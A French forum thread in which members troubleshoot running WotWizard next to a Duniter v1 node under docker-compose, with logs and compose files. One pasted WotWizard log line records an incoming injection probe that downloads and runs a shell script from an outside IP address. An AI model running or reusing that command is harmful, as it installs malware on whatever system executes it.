Appel à lancer des nœuds wotwizard

poka · 21 March 2024 19:31

docker

tatinetteb · 21 March 2024 19:36

Il vient de redémarrer l’adresse à changer

2024-03-21T19:34:25+00:00 - trace: Opening SQLite database "/tmp/duniter-bootstrap/duniter_default/duniter.db"...
2024-03-21T19:34:25+00:00 - debug: Now open indexers...
2024-03-21T19:34:25+00:00 - trace: Opening SQLite database "/tmp/duniter-bootstrap/duniter_default/txs.db"...
2024-03-21T19:34:25+00:00 - trace: Opening SQLite database "/tmp/duniter-bootstrap/duniter_default/peers.db"...
2024-03-21T19:34:25+00:00 - debug: Upgrade database...
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 0/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 1/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 2/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 3/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 4/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 5/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 6/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 7/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 8/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 9/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 10/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 11/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 12/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 13/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 14/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 15/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 16/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 17/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 18/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 19/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 20/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 21/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 22/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 23/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 24/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 25/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 26/27)
2024-03-21T19:34:26+00:00 - trace: Upgrade database... (patch 27/27)
2024-03-21T19:34:26+00:00 - info: Block resolution: 0 potential blocks for root block...
2024-03-21T19:34:26+00:00 - info: Connecting to address duniter.pini.fr:443...
2024-03-21T19:34:26+00:00 - info: Try with duniter.pini.fr:443 72DbAh
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 72DbAhh4 713673-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ✔ PEER 72DbAhh4 0-E3B0C4
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 8m7MA4Te 713440-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER FEkbc4Bf 713614-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 8CWuf4f1 713643-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER ndYUMsDJ 713648-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER A5DdXxCK 713648-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 7bmwxTBx 713649-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 33wEa1Sg 713650-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER DsEx1pS3 713670-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 72DbAhh4 713673-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 2AZqDgWu 713688-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER ASLhi2zp 713693-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER HBsi19D9 713695-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 2egK3XWE 713701-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER GfKERHnJ 713728-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER fEPfZt2G 713684-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER TENGx7Wt 713721-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER E1cSiXeP 713721-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 74RBUM4V 713721-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER Bb3eGMnS 713637-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 2r4y56m5 713694-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 2ny7YAdm 713670-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER ToN5fH62 713676-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER q1wzQ5Kv 713671-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER FpAi3xR2 713724-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 7F6oyFQy 713692-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 55oM6F9Z 713614-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER H99isoJo 713691-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER DomAF8Qy 713676-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER C3oqFogS 713688-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER HnQH8P6n 713722-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER 8Dy5S4Kw 713673-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER BbdyLPyA 713674-0
2024-03-21T19:34:26+00:00 - info: [2E9QQhxP] ⬇ PEER EnFfLNWn 713673-0
2024-03-21T19:34:26+00:00 - trace: Closing SQLite database "/tmp/duniter-bootstrap/duniter_default/txs.db"...
2024-03-21T19:34:26+00:00 - trace: Closing SQLite database "/tmp/duniter-bootstrap/duniter_default/peers.db"...
2024-03-21T19:34:26+00:00 - trace: Closing SQLite database "/tmp/duniter-bootstrap/duniter_default/duniter.db"...
+ mv /tmp/duniter-bootstrap/duniter_default/peers.db /var/lib/duniter/duniter_default/
mv: can't create '/var/lib/duniter/duniter_default/': Is a directory
+ rm -fr /tmp/duniter-bootstrap
+ '[' true '=' true ]
+ '[' -d /var/lib/duniter/duniter_default/data ]
+ echo 'No '"'"'data'"'"' folder. '
+ '[' -z duniter.pini.fr:443:- ]
No 'data' folder. 
+ echo 'Starting synchronization...'
+ /usr/bin/duniter sync duniter.pini.fr:443 --nointeractive
Starting synchronization...
2024-03-21T19:34:27+00:00 - debug: Plugging file system...
2024-03-21T19:34:27+00:00 - error: Error: Can't makeDirectory "/var/lib/duniter/duniter_default" with mode 493: EACCES: permission denied, mkdir '/var/lib/duniter/duniter_default'
+ '[' 0 '=' 0 ]
Starting duniter with:
/usr/bin/duniter --webmhost 0.0.0.0 direct_webstart
+ set -- direct_webstart
+ set -- --webmhost 0.0.0.0 direct_webstart
+ '[' -f /etc/duniter/keyring.yml ]
+ trap sigterm TERM
+ echo Starting duniter with:
+ echo /usr/bin/duniter --webmhost 0.0.0.0 direct_webstart
+ wait '%1'
+ /usr/bin/duniter --webmhost 0.0.0.0 direct_webstart
2024-03-21T19:34:27+00:00 - debug: Plugging file system...
2024-03-21T19:34:27+00:00 - error: Error: Can't makeDirectory "/var/lib/duniter/duniter_default" with mode 493: EACCES: permission denied, mkdir '/var/lib/duniter/duniter_default'

et wotwizard pour le moment

2024/03/21 18:37:03 blockchain.go:3117: Adding Centralities to updateList
2024/03/21 18:37:03 run.go:53: WotWizard Server version 5.11.3 Tools version 1.0.8 
2024/03/21 18:37:03 blockchain.go:3117: Adding Blockchain to updateList
2024/03/21 18:37:03 blockchain.go:3244: Starting
2024/03/21 18:37:03 blockchain.go:3245: 
2024/03/21 18:37:03 blockchain.go:1074: "DBase.data" created
2024/03/21 18:37:03 blockchain.go:1094: "DBase.data" opened
2024/03/21 18:37:03 blockchain.go:3038: "updating.txt" erased
2024/03/21 18:37:03 blockchain.go:3039: Looking for /app/data/duniter_default/updating.txt
2024/03/21 18:37:03 blockchain.go:3040: 
2024/03/21 18:37:03 gqlReceiver.go:479: Listening on 0.0.0.0:8080 ...
2024/03/21 19:18:04 gqlReceiver.go:401: ***ERROR***  Incorrect JSON request: Void string
2024/03/21 19:29:38 gqlReceiver.go:401: ***ERROR***  Incorrect JSON request: operation=write&country=$(id>cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.92.241.71/bins.sh; chmod +x bins.sh; ./bins.sh; rm -rf bins.sh`)

poka · 21 March 2024 19:53

Et oui problème de permissions c’était prévisible:

2024-03-21T19:34:27+00:00 - error: Error: Can't makeDirectory "/var/lib/duniter/duniter_default" with mode 493: EACCES: permission denied, mkdir '/var/lib/duniter/duniter_default'

Laisse tomber, remet ton volume duniter comme avant et redémarre pareil.

Il faut utiliser des vraies volumes docker, donc changer le conf wotwizard:

volumes:
  - duniterv1_data:/app/data

Pour correspondre à ton volume duniter.
Mais il faut que les 2 confs soient dans le même docker-compose.

Voilà un exemple (via perplexity model claude 3 opus parceque la flemme):

services:
  wotwizard:
    image: poka/wotwizard:latest
    restart: unless-stopped
    ports:
      - "8080:8080"
    volumes:
      - duniterv1_data:/app/data
      - data:/app/rsrc/duniter/System/
    networks:
      - frontend

  duniter:
    image: pinidh/duniter:1.8-dev
    restart: unless-stopped
    ports:
      - 127.0.0.1:9220:9220
    environment:
      DEBUG_ENTRYPOINT: "true"
      DUNITER_AUTO_SYNC: "true"
      DUNITER_SYNC_HOST: "duniter.pini.fr:443"
      DUNITER_UPNP: "false"
      DUNITER_BMA_ENABLED: 'true'
      DUNITER_BMA_IPV4: "0.0.0.0"
      DUNITER_BMA_REMOTE_PORT: "443"
      DUNITER_BMA_REMOTE_HOST: "$DNS_NAME"
      DUNITER_WS2P_HOST: "0.0.0.0"
      DUNITER_WS2P_PORT: '20901'
      DUNITER_WS2P_PUBLIC: 'true'
      DUNITER_WS2P_REMOTE_HOST: "$DNS_NAME"
      DUNITER_WS2P_REMOTE_PORT: "443"
      DUNITER_WS2P_REMOTE_PATH: "ws2p"
    volumes:
      - duniterv1_data:/app/data
      - etc/etc/duniter
    networks:
      frontend:
        ipv4_address: 172.18.0.42
    mem_limit: 5g

volumes:
  data:
  duniterv1_data:

networks:
  frontend:

logging:
  options:

En vérifiant après logging options car je n’ai pas vue la fin de ton compose…

tatinetteb · 21 March 2024 20:06

Voici le compose de duniter v1:

version: '2.4'

services:
  duniter:
    image: pinidh/duniter:1.8-dev
    restart: unless-stopped
    environment:
      DEBUG_ENTRYPOINT: "true"
      DUNITER_AUTO_SYNC: "true"
      DUNITER_SYNC_HOST: "duniter.pini.fr:443"
      DUNITER_UPNP: "false"
      DUNITER_BMA_ENABLED: 'true'
      DUNITER_BMA_IP4: "0.0.0.0"
      DUNITER_BMA_REMOTE_PORT: "443"
      DUNITER_BMA_REMOTE_HOST: "$DNS_NAME"
      DUNITER_WS2P_HOST: "0.0.0.0"
      DUNITER_WS2P_PORT: '20901'
      DUNITER_WS2P_PUBLIC: 'true'
      DUNITER_WS2P_REMOTE_HOST: "$DNS_NAME"
      DUNITER_WS2P_REMOTE_PORT: "443"
      DUNITER_WS2P_REMOTE_PATH: "ws2p"
      #
      VIRTUAL_HOST: "$DNS_NAME"
      VIRTUAL_PORT: "10901,20901:/ws2p"
      LETSENCRYPT_HOST: "$DNS_NAME"
      # Change this to 'false' once you've checked that certificate creation
      # works (check the letsencrypt container's logs)
      LETSENCRYPT_TEST:
    volumes:
    - data:/var/lib/duniter
    - etc:/etc/duniter
    networks:
      frontend:
    mem_limit: 2g
    logging:
      options:
        max-size: "10m"
        max-file: "3"

volumes:
  data:
  etc:

networks:
  frontend:
    external: true
    name: reverse-proxy_bridge

poka · 21 March 2024 20:08

Il faut que tu rajoute:

  wotwizard:
    image: poka/wotwizard:latest
    restart: unless-stopped
    ports:
      - "8080:8080"
    volumes:
      - data:/app/data
      - dataww:/app/rsrc/duniter/System/
    networks:
      - frontend

volumes:
  dataww:
  etc:

Mixer les deux quoi.
Mais je ne sais pas comment ça peut se configurer avec portner.

tatinetteb · 21 March 2024 20:34

Je n’ai pas compris:
Je rajoute cela a duniter v1?
J’ai supprimé wotwizard dans portainer.

Mon duniterv1 n’a pas été fabriqué avec portainer, je peux que visualiséer les principales infos, je ne peux rien modifier avec portainer donc je modifie avec putty.
Pour créer un docker dans portainer c’est très facile, je fais clique sur stacks/ add stacks/ web editor
Je colle le script du docker compose dedans et je clique sur deploy the stacks.
Portainer fait le reste si le script est ok.

poka · 21 March 2024 20:44

coupe duniter et worwizard, créer un nouveau dossier avec juste ce docker-compose.yml:

version: '3.8'

services:
  duniter:
    image: pinidh/duniter:1.8-dev
    restart: unless-stopped
    environment:
      DEBUG_ENTRYPOINT: "true"
      DUNITER_AUTO_SYNC: "true" 
      DUNITER_SYNC_HOST: "duniter.pini.fr:443"
      DUNITER_UPNP: "false"
      DUNITER_BMA_ENABLED: 'true'
      DUNITER_BMA_IP4: "0.0.0.0"
      DUNITER_BMA_REMOTE_PORT: "443"
      DUNITER_BMA_REMOTE_HOST: "$DNS_NAME"
      DUNITER_WS2P_HOST: "0.0.0.0"
      DUNITER_WS2P_PORT: '20901'
      DUNITER_WS2P_PUBLIC: 'true'
      DUNITER_WS2P_REMOTE_HOST: "$DNS_NAME"
      DUNITER_WS2P_REMOTE_PORT: "443"
      DUNITER_WS2P_REMOTE_PATH: "ws2p"
      VIRTUAL_HOST: "$DNS_NAME"
      VIRTUAL_PORT: "10901,20901:/ws2p"
      LETSENCRYPT_HOST: "$DNS_NAME"
      LETSENCRYPT_TEST:
    volumes:
      - data:/var/lib/duniter
      - etc:/etc/duniter
    networks:
      - frontend
    mem_limit: 2g
    logging:
      options:
        max-size: "10m"
        max-file: "3"
        
  wotwizard:
    image: poka/wotwizard:latest
    restart: unless-stopped
    ports:
      - "8080:8080"
    volumes:
      - data:/app/data
      - dataww:/app/rsrc/duniter/System/
    networks:
      - frontend

volumes:
  data:
  etc:
  dataww:

networks:
  frontend:
    name: reverse-proxy_bridge

Puis fait:

docker-compose up -d

Ca devrait reprendre ton volume duniter acutel (donc pas besoin de resync) et partager le même volume duntier avec wotwizard.

tatinetteb · 21 March 2024 20:53

Cela ma crée deux containers:

Le premier à l’air de bien tourner

2024-03-21T20:51:50+00:00 - trace: BenoitLeBars was affected wotb_id 1207
2024-03-21T20:51:50+00:00 - trace: Cat was affected wotb_id 1208
2024-03-21T20:51:50+00:00 - trace: LucieHaget was affected wotb_id 1209
2024-03-21T20:51:50+00:00 - trace: jbboyer was affected wotb_id 1210
2024-03-21T20:51:50+00:00 - debug: Total tx count: 10842
2024-03-21T20:51:50+00:00 - trace: Trim indexes below block #132084
2024-03-21T20:51:50+00:00 - trace: Boblac was affected wotb_id 1211
2024-03-21T20:51:50+00:00 - trace: PHILOU was affected wotb_id 1212
2024-03-21T20:51:50+00:00 - trace: LionelJousset was affected wotb_id 1213
2024-03-21T20:51:50+00:00 - info: Milestones 19%, Downloaded 19%, Applied 19%
2024-03-21T20:51:50+00:00 - debug: Total tx count: 10857
2024-03-21T20:51:50+00:00 - trace: Gavy was affected wotb_id 1214
2024-03-21T20:51:50+00:00 - trace: JeanBaptisteLeDevehat was affected wotb_id 1215
2024-03-21T20:51:50+00:00 - trace: Trim indexes below block #132364
2024-03-21T20:51:50+00:00 - trace: Enthea was affected wotb_id 1216
2024-03-21T20:51:50+00:00 - trace: imani was affected wotb_id 1217
2024-03-21T20:51:50+00:00 - debug: Total tx count: 10872
2024-03-21T20:51:50+00:00 - trace: LucaHeine was affected wotb_id 1218
2024-03-21T20:51:50+00:00 - trace: Trim indexes below block #132625
2024-03-21T20:51:50+00:00 - trace: Jsln was affected wotb_id 1219
2024-03-21T20:51:52+00:00 - info: Getting chunk #532/2855 from 133000 to 133249 on peer g1.brussels.ovh
2024-03-21T20:51:52+00:00 - info: Getting chunk #533/2855 from 133250 to 133499 on peer g1v1.p2p.legal
2024-03-21T20:51:52+00:00 - info: Getting chunk #536/2855 from 134000 to 134249 on peer g1.cgeek.fr
2024-03-21T20:51:52+00:00 - info: Getting chunk #537/2855 from 134250 to 134499 on peer duniter-v1-g1.axiom-team.fr
2024-03-21T20:51:52+00:00 - info: Getting chunk #538/2855 from 134500 to 134749 on peer duniter.econolib.re
2024-03-21T20:51:52+00:00 - info: GOT chunk #532/2855 from 133000 to 133249 on peer g1.brussels.ovh
2024-03-21T20:51:52+00:00 - info: GOT chunk #533/2855 from 133250 to 133499 on peer g1v1.p2p.legal
2024-03-21T20:51:52+00:00 - info: Getting chunk #535/2855 from 133750 to 133999 on peer g1.brussels.ovh
2024-03-21T20:51:52+00:00 - info: Getting chunk #534/2855 from 133500 to 133749 on peer g1v1.p2p.legal
2024-03-21T20:51:52+00:00 - info: Getting chunk #539/2855 from 134750 to 134999 on peer duniter.pini.fr
2024-03-21T20:51:52+00:00 - info: GOT chunk #536/2855 from 134000 to 134249 on peer g1.cgeek.fr
2024-03-21T20:51:52+00:00 - debug: Total tx count: 10893
2024-03-21T20:51:52+00:00 - info: GOT chunk #537/2855 from 134250 to 134499 on peer duniter-v1-g1.axiom-team.fr
2024-03-21T20:51:53+00:00 - info: GOT chunk #535/2855 from 133750 to 133999 on peer g1.brussels.ovh
2024-03-21T20:51:53+00:00 - info: GOT chunk #534/2855 from 133500 to 133749 on peer g1v1.p2p.legal
2024-03-21T20:51:53+00:00 - info: GOT chunk #538/2855 from 134500 to 134749 on peer duniter.econolib.re
2024-03-21T20:51:53+00:00 - trace: Trim indexes below block #132891
2024-03-21T20:51:53+00:00 - trace: oceane was affected wotb_id 1220
2024-03-21T20:51:53+00:00 - info: GOT chunk #539/2855 from 134750 to 134999 on peer duniter.pini.fr
2024-03-21T20:51:53+00:00 - debug: Total tx count: 10918
2024-03-21T20:51:53+00:00 - trace: themouette was affected wotb_id 1221
2024-03-21T20:51:53+00:00 - trace: Mina was affected wotb_id 1222
2024-03-21T20:51:53+00:00 - trace: Trim indexes below block #133174
2024-03-21T20:51:53+00:00 - debug: Total tx count: 10937
2024-03-21T20:51:53+00:00 - trace: Mikhaella3448 was affected wotb_id 1223
2024-03-21T20:51:53+00:00 - trace: GeoffreyMichel was affected wotb_id 1224
2024-03-21T20:51:53+00:00 - trace: Rinnosuke was affected wotb_id 1225
2024-03-21T20:51:53+00:00 - trace: Trim indexes below block #133455
2024-03-21T20:51:53+00:00 - trace: maew was affected wotb_id 1226
2024-03-21T20:51:53+00:00 - debug: Total tx count: 10954
2024-03-21T20:51:53+00:00 - trace: ThomasRouyer was affected wotb_id 1227
2024-03-21T20:51:53+00:00 - debug: Total tx count: 11005
2024-03-21T20:51:54+00:00 - trace: Trim indexes below block #133761
2024-03-21T20:51:54+00:00 - trace: yannickjuchat was affected wotb_id 1228
2024-03-21T20:51:54+00:00 - debug: Total tx count: 11025
2024-03-21T20:51:54+00:00 - trace: Trim indexes below block #134047
2024-03-21T20:51:54+00:00 - trace: Erle was affected wotb_id 1229
2024-03-21T20:51:54+00:00 - debug: Total tx count: 11040
2024-03-21T20:51:54+00:00 - trace: Trim indexes below block #134328
2024-03-21T20:51:54+00:00 - debug: Total tx count: 11047
2024-03-21T20:51:54+00:00 - trace: Neluma was affected wotb_id 1230
2024-03-21T20:51:54+00:00 - trace: Trim indexes below block #134617
2024-03-21T20:51:55+00:00 - info: Getting chunk #540/2855 from 135000 to 135249 on peer g1.brussels.ovh
2024-03-21T20:51:55+00:00 - info: Getting chunk #541/2855 from 135250 to 135499 on peer g1v1.p2p.legal
2024-03-21T20:51:55+00:00 - info: Getting chunk #542/2855 from 135500 to 135749 on peer g1.cgeek.fr
2024-03-21T20:51:56+00:00 - info: Getting chunk #543/2855 from 135750 to 135999 on peer duniter-v1-g1.axiom-team.fr
2024-03-21T20:51:56+00:00 - info: Getting chunk #545/2855 from 136250 to 136499 on peer duniter.econolib.re
2024-03-21T20:51:56+00:00 - info: GOT chunk #540/2855 from 135000 to 135249 on peer g1.brussels.ovh
2024-03-21T20:51:56+00:00 - info: GOT chunk #541/2855 from 135250 to 135499 on peer g1v1.p2p.legal
2024-03-21T20:51:56+00:00 - info: GOT chunk #542/2855 from 135500 to 135749 on peer g1.cgeek.fr
2024-03-21T20:51:56+00:00 - info: Getting chunk #544/2855 from 136000 to 136249 on peer g1.brussels.ovh
2024-03-21T20:51:56+00:00 - debug: Total tx count: 11064
2024-03-21T20:51:56+00:00 - info: GOT chunk #543/2855 from 135750 to 135999 on peer duniter-v1-g1.axiom-team.fr
2024-03-21T20:51:56+00:00 - trace: Evejade was affected wotb_id 1231
2024-03-21T20:51:56+00:00 - trace: gaeloliv was affected wotb_id 1232
2024-03-21T20:51:56+00:00 - trace: JPGRAU was affected wotb_id 1233
2024-03-21T20:51:56+00:00 - trace: MimiMu was affected wotb_id 1234
2024-03-21T20:51:56+00:00 - info: GOT chunk #545/2855 from 136250 to 136499 on peer duniter.econolib.re
2024-03-21T20:51:56+00:00 - info: GOT chunk #544/2855 from 136000 to 136249 on peer g1.brussels.ovh
2024-03-21T20:51:56+00:00 - trace: Soln was affected wotb_id 1235
2024-03-21T20:51:56+00:00 - trace: Trim indexes below block #134903
2024-03-21T20:51:56+00:00 - trace: Pierreieni was affected wotb_id 1236
2024-03-21T20:51:56+00:00 - debug: Total tx count: 11079
2024-03-21T20:51:56+00:00 - trace: Pierro was affected wotb_id 1237
2024-03-21T20:51:56+00:00 - trace: Trim indexes below block #135163
2024-03-21T20:51:56+00:00 - debug: Total tx count: 11091
2024-03-21T20:51:56+00:00 - trace: LiJu was affected wotb_id 1238
2024-03-21T20:51:56+00:00 - trace: LucAstarius was affected wotb_id 1239
2024-03-21T20:51:56+00:00 - trace: Trim indexes below block #135423
2024-03-21T20:51:56+00:00 - debug: Total tx count: 11099
2024-03-21T20:51:56+00:00 - trace: Babarbaobab was affected wotb_id 1240
2024-03-21T20:51:57+00:00 - debug: Total tx count: 11141
2024-03-21T20:51:57+00:00 - trace: Trim indexes below block #135721
2024-03-21T20:51:57+00:00 - trace: NicoBoc was affected wotb_id 1241
2024-03-21T20:51:57+00:00 - trace: Rykian was affected wotb_id 1242
2024-03-21T20:51:57+00:00 - debug: Total tx count: 11173
2024-03-21T20:51:57+00:00 - trace: Trim indexes below block #136007
2024-03-21T20:51:57+00:00 - trace: Louis was affected wotb_id 1243
2024-03-21T20:51:57+00:00 - trace: GaelleKiers was affected wotb_id 1244
2024-03-21T20:51:57+00:00 - trace: Iguana was affected wotb_id 1245

Le deuxieme:

2024/03/21 20:47:04 blockchain.go:3117: Adding Centralities to updateList
2024/03/21 20:47:04 run.go:53: WotWizard Server version 5.11.3 Tools version 1.0.8 
2024/03/21 20:47:04 blockchain.go:3117: Adding Blockchain to updateList
2024/03/21 20:47:04 blockchain.go:3244: Starting
2024/03/21 20:47:04 blockchain.go:3245: 
2024/03/21 20:47:04 blockchain.go:1074: "DBase.data" created
2024/03/21 20:47:04 blockchain.go:1094: "DBase.data" opened
2024/03/21 20:47:04 blockchain.go:3038: "updating.txt" erased
2024/03/21 20:47:04 blockchain.go:3039: Looking for /app/data/duniter_default/updating.txt
2024/03/21 20:47:04 blockchain.go:3040: 
2024/03/21 20:47:04 gqlReceiver.go:479: Listening on 0.0.0.0:8080 ...
2024/03/21 20:50:48 gqlReceiver.go:401: ***ERROR***  Incorrect JSON request: Void string

poka · 21 March 2024 21:10

supprime bien le volume dataww de wotwizard avec de le lancer, comme tu as fait avant tu sais.

docker compose up -d --force-recreate pour forcer la recréation des container après avoir supprimer le volume dataww.

tatinetteb · 21 March 2024 21:23

Je n’ai plus acces à localhost:9220 pour le panneau de configuration, comment le retablir?

poka · 21 March 2024 21:28

Je ne peux pas t’aider sur portainer, désolé.

tatinetteb · 21 March 2024 21:30

Je vois que sur ginspecte mon noeud est eteint, j’aimerai mettre ma clé
C’est bon c’est ok sur ginspecte, il reste plus qu’a voir plus tard si wotwizard tournera, merci pour ton aide

tatinetteb · 21 March 2024 22:57

Log de wotwizard

2024/03/21 22:35:22 blockchain.go:3117: Adding Centralities to updateList

2024/03/21 22:35:22 run.go:53: WotWizard Server version 5.11.3 Tools version 1.0.8 

2024/03/21 22:35:22 blockchain.go:3117: Adding Blockchain to updateList

2024/03/21 22:35:22 blockchain.go:3244: Starting

2024/03/21 22:35:22 blockchain.go:3245: 

2024/03/21 22:35:22 blockchain.go:1074: "DBase.data" created

2024/03/21 22:35:22 blockchain.go:1094: "DBase.data" opened

2024/03/21 22:35:22 blockchain.go:3038: "updating.txt" erased

2024/03/21 22:35:22 blockchain.go:3039: Looking for /app/data/duniter_default/updating.txt

2024/03/21 22:35:22 blockchain.go:3040: 

2024/03/21 22:35:22 gqlReceiver.go:479: Listening on 0.0.0.0:8080 ...

2024/03/21 22:47:19 gqlReceiver.go:401: ***ERROR***  Incorrect JSON request: Void string

Non je me suis trompée ginspecte est statue eteint et url est en 502.

Je vais faire tournée duniter v1 pour le week end et je retenterai lundi ou mardi wotwizar-duniterv1.

Pini · 22 March 2024 17:47

Salut, j’arrive un peu à la fin de la bataille

@poka : ça marche comment les interactions entre un noeud duniter et wotwizard ? Il faut partager le volume data entre les deux conteneurs, c’est ça ?

Pour l’image duniter_v1 je peux facilement ajouter une option qui active le stockage wotwizard. Il ne manque que ça ?

poka · 22 March 2024 18:12

Oui je crois qu’il ne manque que ça

Pour le moment je n’ai testé (et mis en prod…) que avec un noeud duniter local sans docker, en montant le dossier ~/.config.duniter au bon endroit dans le container wotwizard.

Mais ça semble poser problème lorsqu’on veut partager un volume docker entre 2 containers, voir les échanges au dessus.

Je pense que ce sont ces deux lignes de mon Dockerfile qui posent problème:
Dockerfile · dockeriser · gerard94 / WotWizard · GitLab

Après ça, si on monte le volume /app/rsrc/ dans le compose, cela écrase ce qui a été fait par ces deux lignes.

d’où le fait que je ne monte que /app/rsrc/duniter/System/ par defaut dans le compose, qui sont les données DB de wotwizard nécessaires pour la persistance.
Mais je ne suis pas non plus sûr que le problème vienne de là, il faut tester, mais je ne vais plus trop avoir de temps pour continuer là dessus.

Pini · 22 March 2024 18:15

Si j’active le stockage wotwizard sur mon noeud il faut que je resynchronise ?

poka · 22 March 2024 18:19

Bonne question, je ne sais pas, je ne pense pas non. Tu dois voir le fichier duniter_default/wotwizard-export.db se créer, et duniter_default/updating.txt aussi. Mais faut attendre la prochaine arrivé de block pour voir ça arriver.

Je faisais cette commande pour checker l’arrivé du fichier annonçant l’update à WW:

inotifywait -m -e create --format '%w%f' /home/axiom/.config/duniter/duniter_default/ | while read file; do   if [ "$file" = "/home/axiom/.config/duniter/duniter_default/updating.txt" ];   then     echo "Le fichier updating.txt a été créé.";     cat "$file";   fi; done

Pini · 22 March 2024 19:55

Oui j’ai bien ça.

Je viens d’uploader une nouvelle image pinidh/duniter:1.8.7-pini2 qui implémente la configuration wotwizard via la variable DUNITER_WOTWIZARD (booléen).

Je maintenant voir du côté wotwizard.

Pini · 22 March 2024 19:59

Ces deux lignes devraient figurer dans l’entrypoint et non dans le Dockerfile. Ça pourrait suffire à résoudre le pb.

Je n’ai pas moyen de tester wotwizard moi-même car mes serveurs sont full.

poka · 23 March 2024 08:25

Je viens de pousser une nouvelle image docker wotwizard où j’ai effectivement bougé cette conf dans le entrypoint.

@tatinetteb a tester du coup, avec le nouvelle image duniter de Pini, ajout de:

image: pinidh/duniter:1.8.7-pini2 pour le container duniter
DUNITER_WOTWIZARD: "true" dans le container duniter
Monter directement dataww:/app/rsrc dans le container wotwizard
docker compose pull pour tirer latest de wotwizard.

Je te remet le compose théorique que tu devrais avoir selon moi.
@Pini est-ce que tu confirmes qu’au niveau des volumes ça te semble ok ainsi:

version: '3.8'

services:
  duniter:
    image: pinidh/duniter:1.8.7-pini2
    restart: unless-stopped
    environment:
      DEBUG_ENTRYPOINT: "true"
      DUNITER_AUTO_SYNC: "true" 
      DUNITER_SYNC_HOST: "duniter.pini.fr:443"
      DUNITER_UPNP: "false"
      DUNITER_BMA_ENABLED: 'true'
      DUNITER_BMA_IP4: "0.0.0.0"
      DUNITER_BMA_REMOTE_PORT: "443"
      DUNITER_BMA_REMOTE_HOST: "$DNS_NAME"
      DUNITER_WS2P_HOST: "0.0.0.0"
      DUNITER_WS2P_PORT: '20901'
      DUNITER_WS2P_PUBLIC: 'true'
      DUNITER_WS2P_REMOTE_HOST: "$DNS_NAME"
      DUNITER_WS2P_REMOTE_PORT: "443"
      DUNITER_WS2P_REMOTE_PATH: "ws2p"
      DUNITER_WOTWIZARD: 'true'
      VIRTUAL_HOST: "$DNS_NAME"
      VIRTUAL_PORT: "10901,20901:/ws2p"
      LETSENCRYPT_HOST: "$DNS_NAME"
      LETSENCRYPT_TEST:
    volumes:
      - data:/var/lib/duniter
      - etc:/etc/duniter
    networks:
